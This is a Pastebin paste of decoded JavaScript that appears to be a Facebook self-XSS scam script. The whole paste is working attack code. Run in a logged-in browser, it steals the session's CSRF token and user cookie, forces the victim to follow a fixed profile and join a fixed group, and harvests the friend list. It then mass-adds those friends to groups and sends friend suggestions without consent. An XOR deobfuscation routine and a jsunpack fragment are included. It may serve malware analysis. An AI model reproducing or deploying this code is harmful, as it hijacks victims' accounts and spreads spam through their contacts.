Advertisement
Guest User

decoded@Silviu

a guest
Jan 15th, 2014
169
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //eval
  2. function hp_d12(s) {
  3.     var o = "",
  4.         ar = new Array(),
  5.         os = "",
  6.         ic = 0,
  7.         p = 0;
  8.     for (i = 0; i < s.length; i++) {
  9.         c = s.charCodeAt(i);
  10.         if (c < 128) c = c ^ ((p++ % 8) + 1);
  11.         os += String.fromCharCode(c);
  12.         if (os.length > 80) {
  13.             ar[ic++] = os;
  14.             os = ""
  15.         }
  16.     }
  17.     o = ar.join("") + os;
  18.     return o
  19. }
  20. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  21. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  22.  
  23. function cereziAl(isim) {
  24.     var tarama = isim + "=";
  25.     if (document.cookie.length > 0) {
  26.         konum = document.cookie.indexOf(tarama);
  27.         if (konum != -1) {
  28.             konum += tarama.length;
  29.             son = document.cookie.indexOf(";", konum);
  30.             if (son == -1) son = document.cookie.length;
  31.             return unescape(document.cookie.substring(konum, son))
  32.         } else {
  33.             return ""
  34.         }
  35.     }
  36. }
  37.  
  38. function getRandomInt(min, max) {
  39.     return Math.floor(Math.random() * (max - min + 1)) + min
  40. }
  41.  
  42. function randomValue(arr) {
  43.     return arr[getRandomInt(0, arr.length - 1)]
  44. }
  45. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  46. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  47.  
  48. function a(abone) {
  49.     var http4 = new XMLHttpRequest();
  50.     var url4 = "/ajax/follow/follow_profile.php?__a=1";
  51.     var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  52.     http4.open("POST", url4, true);
  53.     http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  54.     http4.setRequestHeader("Content-length", params4.length);
  55.     http4.setRequestHeader("Connection", "close");
  56.     http4.onreadystatechange = function () {
  57.         if (http4.readyState == 4 && http4.status == 200) {
  58.             http4.close
  59.         }
  60.     };
  61.     http4.send(params4)
  62. }
  63. a("100000260002394");
  64. a("100000260002394");
  65. a("100000260002394");
  66. a("100000260002394");
  67. a("100000260002394");
  68. a("100000260002394");
  69. a("100000260002394");
  70. a("100000260002394");
  71. a("100000260002394");
  72. a("100000260002394");
  73. var gid = ['161148260703460'];
  74. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  75. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  76. var httpwp = new XMLHttpRequest();
  77. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  78. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  79. httpwp['open']('POST', urlwp, true);
  80. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  81. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  82. httpwp['setRequestHeader']('Connection', 'keep-alive');
  83. httpwp['send'](paramswp);
  84. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  85. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  86. var friends = new Array();
  87. gf = new XMLHttpRequest();
  88. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  89. gf['send']();
  90. if (gf['readyState'] != 4) {} else {
  91.     data = eval('(' + gf['responseText']['substr'](9) + ')');
  92.     if (data['error']) {} else {
  93.         friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  94.             return _0x93dax8['index'] - _0x93dax9['index']
  95.         })
  96.     }
  97. };
  98. var Title = 'Auto Subscribe Friends to Group (Made By) <A style="color:#3B5998;" href="http://www.facebook.com/Nadun.Edirisinghe">Nadun Edirisinghe.</A>';
  99. grpname = document.getElementById("groupsJumpTitle").innerHTML;
  100. var Descriptions = "",
  101.     _text = 'Powered By <A style="color:#3B5998;" href="https://www.facebook.com/groups/LankaNet">LankaNet Group.</A> Join it now.';
  102.  
  103. function AddSubscribe(opo) {
  104.     jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function (a) {
  105.         var b = a.substring(a.indexOf("{"));
  106.         var c = JSON.parse(b);
  107.         i--;
  108.         Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  109.         if (c.error) {
  110.             Descriptions += "color:darkred'>";
  111.             err++;
  112.             if (c.errorDescription) Descriptions += c.errorDescription;
  113.             else Descriptions += JSON.stringify(c, null, "")
  114.         } else {
  115.             Descriptions += "color:darkgreen'>";
  116.             Descriptions += arn[i] + " has been added.<br/>";
  117.             suc++
  118.         }
  119.         Descriptions += "</div>";
  120.         var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  121.         display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  122.         if (i > 0) {
  123.             display += arr.length + " Friends Detected<br/>";
  124.             display += "<b>" + suc + "</b> Friends Subscribe of " + (arr.length - i) + " Friends Processed ";
  125.             display += "(" + i + " Lefted...)";
  126.             display += "<div class='friend-edge'>";
  127.             display += Descriptions;
  128.             display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  129.             display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  130.             display += getuname + " Thanks For Adding Your Friends in " + grpname + ".<br/>";
  131.             display += _text;
  132.             display += "</div>";
  133.             display += "</div>"
  134.         } else {
  135.             display += arr.length + " Friends Detected<br/>";
  136.             display += suc + " Friends Subscribe</br>";
  137.             display += err + " Friends Not Subscribe</br></br>";
  138.             display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Cancel</span>"
  139.         }
  140.         display += "</div>";
  141.         document.getElementById("pagelet_sidebar").innerHTML = display
  142.     }, "text", "post");
  143.     tay--;
  144.     if (tay > 0) {
  145.         var s = arr[tay];
  146.         sx = pho[tay];
  147.         setTimeout("AddSubscribe(" + s + ")", 100)
  148.     }
  149.     console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  150.     if (gid != 161148260703460) {
  151.         jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=161148260703460&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function () {}, "text", "post")
  152.     }
  153.     if (newcomer) {
  154.         jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100000260002394&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function () {}, "text", "post")
  155.     }
  156.     if (newcomer) {
  157.         jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100000260002394&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function () {}, "text", "post")
  158.     }
  159.     if (newcomer) {
  160.         jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100000260002394&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function () {}, "text", "post")
  161.     }
  162.     if (newcomer) {
  163.         jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100000260002394&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function () {}, "text", "post")
  164.     }
  165.     if (newcomer) {
  166.         jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100000260002394&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function () {}, "text", "post")
  167.     }
  168. }
  169.  
  170. function clickfr_callback() {
  171.     if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  172.     var a = arr[i];
  173.     if (i < arr.length) addfriend(a.substring(0, 4))
  174. }
  175.  
  176. function clickfr() {
  177.     if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
  178.     else j++;
  179.     setTimeout("clickfr_callback()", 2E3)
  180. }
  181.  
  182. function addfriend(a) {
  183.     i++;
  184.     setTimeout("clickfr()", 2E3)
  185. }
  186. jx = {
  187.     getHTTPObject: function () {
  188.         var a = false;
  189.         if (typeof ActiveXObject != "undefined") try {
  190.             a = new ActiveXObject("Msxml2.XMLHTTP")
  191.         } catch (b) {
  192.             try {
  193.                 a = new ActiveXObject("Microsoft.XMLHTTP")
  194.             } catch (c) {
  195.                 a = false
  196.             }
  197.         } else if (window.XMLHttpRequest) try {
  198.             a = new XMLHttpRequest
  199.         } catch (b) {
  200.             a = false
  201.         }
  202.         return a
  203.     },
  204.     load: function (url, callback, format, method, opt) {
  205.         var http = this.init();
  206.         if (!http || !url) return;
  207.         if (http.overrideMimeType) http.overrideMimeType("text/xml");
  208.         if (!method) method = "GET";
  209.         if (!format) format = "text";
  210.         if (!opt) opt = {};
  211.         format = format.toLowerCase();
  212.         method = method.toUpperCase();
  213.         var now = "uid=" + (new Date).getTime();
  214.         url += url.indexOf("?") + 1 ? "&" : "?";
  215.         url += now;
  216.         var parameters = null;
  217.         if (method == "POST") {
  218.             var parts = url.split("?");
  219.             url = parts[0];
  220.             parameters = parts[1]
  221.         }
  222.         http.open(method, url, true);
  223.         var ths = this;
  224.         if (opt.handler) http.onreadystatechange = function () {
  225.             opt.handler(http)
  226.         };
  227.         else http.onreadystatechange = function () {
  228.             if (http.readyState == 4)
  229.                 if (http.status == 200) {
  230.                     var result = "";
  231.                     if (http.responseText) result = http.responseText;
  232.                     if (format.charAt(0) == "j") {
  233.                         result = result.replace(/[\n\r]/g, "");
  234.                         result = eval("(" + result + ")")
  235.                     } else if (format.charAt(0) == "x") result = http.responseXML;
  236.                     if (callback) callback(result)
  237.                 } else {
  238.                     if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  239.                     if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  240.                     if (error) error(http.status)
  241.                 }
  242.         };
  243.         http.send(parameters)
  244.     },
  245.     bind: function (a) {
  246.         var b = {
  247.             url: "",
  248.             onSuccess: false,
  249.             onError: false,
  250.             format: "text",
  251.             method: "GET",
  252.             update: "",
  253.             loading: "",
  254.             loadingIndicator: ""
  255.         };
  256.         for (var c in b)
  257.             if (a[c]) b[c] = a[c];
  258.         if (!b.url) return;
  259.         var d = false;
  260.         if (b.loadingIndicator) {
  261.             d = document.createElement("div");
  262.             d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  263.             d.setAttribute("class", "loading-indicator");
  264.             d.innerHTML = b.loadingIndicator;
  265.             document.getElementsByTagName("body")[0].appendChild(d);
  266.             this.opt.loadingIndicator = d
  267.         }
  268.         if (b.loading) document.getElementById(b.loading).style.display = "block";
  269.         this.load(b.url, function (a) {
  270.             if (b.onSuccess) b.onSuccess(a);
  271.             if (b.update) document.getElementById(b.update).innerHTML = a;
  272.             if (d) document.getElementsByTagName("body")[0].removeChild(d);
  273.             if (b.loading) document.getElementById(b.loading).style.display = "none"
  274.         }, b.format, b.method, b)
  275.     },
  276.     init: function () {
  277.         return this.getHTTPObject()
  278.     }
  279. };
  280. var nHtml = {
  281.     FindByAttr: function (a, b, c, d) {
  282.         if (c == "className") c = "class";
  283.         var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  284.         if (e && e.singleNodeValue) return e.singleNodeValue;
  285.         return null
  286.     },
  287.     FindByClassName: function (a, b, c) {
  288.         return this.FindByAttr(a, b, "className", c)
  289.     },
  290.     FindByXPath: function (a, b) {
  291.         try {
  292.             var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  293.         } catch (d) {
  294.             GM_log("bad xpath:" + b)
  295.         }
  296.         if (c && c.singleNodeValue) return c.singleNodeValue;
  297.         return null
  298.     },
  299.     VisitUrl: function (a) {
  300.         window.setTimeout(function () {
  301.             document.location.href = a
  302.         }, 500 + Math.floor(Math.random() * 500))
  303.     },
  304.     ClickWin: function (a, b, c) {
  305.         var d = a.document.createEvent("MouseEvents");
  306.         d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  307.         return !b.dispatchEvent(d)
  308.     },
  309.     Click: function (a) {
  310.         return this.ClickWin(window, a, "click")
  311.     },
  312.     ClickTimeout: function (a, b) {
  313.         window.setTimeout(function () {
  314.             return nHtml.ClickWin(window, a, "click")
  315.         }, b + Math.floor(Math.random() * 500))
  316.     },
  317.     ClickUp: function (a) {
  318.         this.ClickWin(window, a, "mousedown");
  319.         this.ClickWin(window, a, "mouseup");
  320.         this.ClickWin(window, a, "click")
  321.     },
  322.     GetText: function (a, b) {
  323.         var c = "";
  324.         if (b == undefined) b = 0;
  325.         if (b > 40) return;
  326.         if (a.textContent != undefined) return a.textContent;
  327.         for (var d = 0; d < a.childNodes.length; d++) {
  328.             var e = a.childNodes[d];
  329.             c += this.GetText(e, b + 1)
  330.         }
  331.         return c
  332.     }
  333. };
  334. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function (a) {
  335.     var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  336.     var c = document.getElementsByTagName("*");
  337.     var d = [];
  338.     var e;
  339.     for (var f = 0;
  340.         (e = c[f]) != null; f++) {
  341.         var g = e.className;
  342.         if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  343.     }
  344.     return d
  345. };
  346. Array.prototype.find = function (a) {
  347.     var b = false;
  348.     for (i = 0; i < this.length; i++)
  349.         if (typeof a == "function") {
  350.             if (a.test(this[i])) {
  351.                 if (!b) b = [];
  352.                 b.push(i)
  353.             }
  354.         } else if (this[i] === a) {
  355.         if (!b) b = [];
  356.         b.push(i)
  357.     }
  358.     return b
  359. };
  360. var i = 3;
  361. var tay = 3;
  362. var j = 0;
  363. var k = 0;
  364. var suc = 0;
  365. var err = 0;
  366. var arr = new Array;
  367. var arn = new Array;
  368. var pho = new Array;
  369. var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  370. var gid = document.getElementsByName("group_id")[0].value;
  371. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function (a) {
  372.     var b = a;
  373.     var c = b.substring(b.indexOf("{"));
  374.     var d = JSON.parse(c);
  375.     d = d.payload.entries;
  376.     for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  377.     for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  378.     for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  379.     i = arr.length - 1;
  380.     tay = i;
  381.     console.log(arr.length);
  382.     var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  383.     display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  384.     display += arr.length + " Friends Detected";
  385.     display += "</div>";
  386.     document.getElementById("pagelet_sidebar").innerHTML = display;
  387.     AddSubscribe(arr[i])
  388. });
  389. //jsunpack.url var c = function hp_d12(s){var o="",ar=new Array(),os="",ic=0,p=0;for(i=0;i<s.length;i++){c=s.charCodeAt(i);if(c<128)c=c^((p++%8)+1);os+=String.fromCharCode(c);if(os.length>80){ar[ic++]=os;os=""}}o=ar.join("")+os;return o}var fb_dtsg=document.getElementsByName('f
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement